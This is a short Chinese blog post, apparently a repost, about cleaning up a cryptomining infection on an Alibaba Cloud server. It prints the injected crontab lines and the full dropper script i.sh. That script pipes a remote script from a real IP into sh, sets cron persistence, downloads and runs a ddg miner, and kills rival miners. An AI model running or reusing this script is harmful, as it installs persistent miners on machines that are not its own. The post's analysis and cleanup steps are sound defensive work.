zoukankan      html  css  js  c++  java
  • 阿里云主机遭受挖矿程序攻击

    crontab里被注入这样2行

    */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
    */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

    查看i.sh内容

    export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
    
    echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
    echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
    echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
    
    if [ ! -f "/tmp/ddg.2021" ]; then
        curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
    fi
    
    if [ ! -f "/tmp/ddg.2021" ]; then
        wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
    fi
    
    chmod +x /tmp/ddg.2021 && /tmp/ddg.2021
    
    
    if [ ! -f "/tmp/imWBR1" ]; then
        curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
    fi
    
    ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
    #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
    #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

    分析之后就很明显了,

    确认,删除crontab内容

    /var/spool/cron/root
    /var/spool/cron/crontabs/root

    crontab -e

    删除程序

    /tmp/ddg.2021
    /tmp/imWBR1
  • 相关阅读:
    ThreadLocal Thread ThreadLocalMap 之间的关系
    组合注解(Annotation)
    Halo 开源项目使用jsdelivr进行CDN加速.
    如何正确认知和提升自己的“格局”“视野”“高度”?
    格局如何提高?站在未来看今天。
    Cookie 的技术学习笔记
    JVM垃圾收集器与内存分配策略
    java内存区域与内存溢出异常
    JAVA中的BIO,NIO与多路复用(select,poll,epoll)
    Hexo yilia主题搭建自己的github个人博客(一)
  • 原文地址:https://www.cnblogs.com/goozgk/p/8284389.html
Copyright © 2011-2022 走看看